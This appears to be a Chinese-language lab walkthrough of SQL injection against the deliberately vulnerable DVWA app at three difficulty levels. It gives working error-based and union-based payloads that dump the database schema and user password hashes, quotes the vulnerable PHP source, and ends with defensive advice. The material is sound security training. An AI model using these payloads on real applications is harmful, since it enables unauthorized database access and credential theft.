0x01 简介
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。
0x02 SQL Injection-Low
输入单引号'报错,输入双引号不报错,判断为'闭合。然后输入'#不报错,说明仅需要单引号'闭合,不需要括号进行闭合。
image.png
爆库名
' or updatexml(1,concat(0x7e,database(),0x7e),1)--+
库名.png
库名为dvwa
爆表名
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1)--+
表名.png
表名为guestbook,users
爆users表中的列名
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1)--+
列名
列名为user_id,first_name,last_name,us
此处发现列名为显示齐全,updatexml最多只能显示32个字符,因此需要使用substring函数进行多次查询后拼接。
懒得进行拼接,因此这里换用floor进行报错注入语句的构造
' or (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
列名
列名为:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
爆users表的user和password字段
' or (select 1 from (select count(*),concat((select concat(user,0x3a,password) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--
admin账号密码
遍历后得到的账号密码如下:
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b71
smithy:5f4dcc3b5aa765d61d8327deb882cf99
老规矩,看看源代码:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
0x03 SQL Injection-Medium
image.png
POST方法提交的请求,老规矩先看看有没有注入点。
?id=2后加上'发现报错了,然后换成"发现仍然报错,猜测是数字型,无需闭合。
?id=2 order by 2--+猜解出列名的数量为2
?id=-2 union select 1,2--+查询出显示位为1和2
?id=-2 union select database(),version()--+查询出数据库名为dvwa,版本号为5.7.33
数据库名和版本号
接下来就是老一套,爆表名
?id=-2 union select (select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),2--+
单引号被转义
单引号前面被转义加了\,不知道是开了GPC还是源码里面做了过滤,等会再看下源码。先调整下注入语句。
id=-2 union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2--+
表名
表名为:guestbook,users
爆user表中的列名
-2 union select (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),2--+
列名
user_id,first_name,last_name,user,password,avatar,last_login,failed_login
接着查询user和password字段的值就好了
-2 union select (select group_concat(user,0x3a,password) from users),2--+
查询的结果为:
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
看看源代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
源代码中使用mysqli_real_escape_string()函数来对特殊字符转义,所以'和"等都无法使用。
0x04 SQL Injection-High
1'报错,1'#不报错,可以判断该处存在注入点,为单引号闭合。
1' order by 2#猜解出列名的数量为2
-1' union select 1,2#查询出显示位为1和2
显示位
爆库名和版本号
-1' union select database(),version()#
库名和版本号
库名:dvwa 版本号为:5.7.33
爆表名:
-1' union select (select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),2#
表名
这次单引号没被过滤,不知道是什么情况,等会看下源码
爆列名:
-1' union select (select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),2#
列名
查询user和password的值
image.png
看下源代码
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
emmm,源码内限制了查询的条数,也引入了session机制,不太明白是限制了什么,可能是自动化注入?
0x05 SQL注入防范方法
- 所有的查询语句都使用数据库提供的参数化查询接口
- 严格限制select、union select、updatexml、floor等敏感函数的使用
- 对' "<>&*等特殊字符进行转义
- 数据层的编码统一,避免宽字节注入
- 避免页面回显错误信息